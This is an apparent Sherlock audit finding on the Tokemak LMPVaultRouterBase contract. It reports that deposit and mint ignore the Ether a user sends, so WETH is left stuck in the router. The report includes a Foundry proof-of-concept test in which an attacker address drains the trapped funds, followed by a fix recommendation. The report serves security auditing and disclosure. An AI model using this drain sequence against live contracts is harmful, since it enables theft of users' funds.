Flora - LMPVaultRouterBase.mint/LMPVaultRouterBase.deposit has incorrect handling of Ether transfers

[sherlock-admin]

Flora

high

LMPVaultRouterBase.mint/LMPVaultRouterBase.deposit has incorrect handling of Ether transfers

Summary

LMPVaultRouterBase.mint/LMPVaultRouterBase.deposit can cause user funds to become trapped due to incorrect handling of Ether transfers.

Vulnerability Detail

The vulnerability is present in the deposit and mint functions within the LMPVaultRouterBase contract. These functions are expected to handle the transfer of Ether by converting it into Wrapped Ether (WETH) and subsequently depositing the swapped WETH into the LMPVault. However, the vault solely deposit the WETH amount that users specify in the function argument without regarding the value of Ether that user sends. This leads to a situation where user funds are stuck in the LMPVaultRouterBase. It also opens up various potential attack vectors, enabling malicious actors to drain trapped WETH at a later time.

The following code snippet demonstrates the vulnerability in the deposit function:

    function test_deposit_EthNotRecorded() public {
        // Ensure initial balances are as expected
        assertEq(lmpVault.balanceOf(address(this)), 0);
        assertEq(baseAsset.balanceOf(address(lmpVaultRouter)), 0);

        // Approve baseAsset for deposit
        baseAsset.approve(address(lmpVaultRouter), 1e18);

        // Deposit 2 Ether and 1 WETH to the LMPVaultRouter
        uint256 sharesReceived = lmpVaultRouter.deposit{value: 2 ether}(
            lmpVault,
            address(this),
            1e18,
            1
        );

        // Check balances after deposit
        assertEq(lmpVault.balanceOf(address(this)), 1e18); // should be 3e18 if 2 ETH sent were deposited
        assertEq(baseAsset.balanceOf(address(lmpVaultRouter)), 2 ether); // 2 WETH are stuck in lmpVaultRouter (after being swapped from ETH)

        // Approve LMPVault for redemption
        lmpVault.approve(
            address(lmpVaultRouter),
            lmpVault.balanceOf(address(this))
        );

        // Redeem deposited shares
        uint256 amountOut = lmpVaultRouter.redeemMax(
            lmpVault,
            address(this),
            1
        );

        // Check balances after redemption
        assertEq(amountOut, 1e18); // The user loses 2 Ether that were deposited
        assertEq(baseAsset.balanceOf(address(lmpVaultRouter)), 2 ether); // 2 WETH are still stuck in lmpVaultRouter
        
        /*//////////////////////////////////////////////////////////////
                     Here is one possible attack vector
        //////////////////////////////////////////////////////////////*/
        
        address attacker = vm.addr(11);
        deal(address(baseAsset), attacker, 10);

        vm.startPrank(attacker);
        baseAsset.approve(address(lmpVaultRouter), 10);
        lmpVaultRouter.deposit(lmpVault, attacker, 10, 1);

        lmpVault.approve(address(lmpVaultRouter), lmpVault.balanceOf(attacker));
        assertEq(attacker.balance, 0);
        lmpVaultRouter.redeem(lmpVault, attacker, 10, 10, true);
        assertEq(attacker.balance, 2e18 + 10); // The attacker successfully drains all the stuck WETH
    }

Impact

Lead to trapped user funds and potential vulnerabilities that could be exploited to drain the stuck WETH.

Code Snippet

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L23-L41
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L44-L57

Tool used

Manual Review

Recommendation

Consider both the amount of WETH and the associated Ether value. When depositing WETH into the LMPVault, ensure that the correct Ether value is reflected.

Duplicate of #1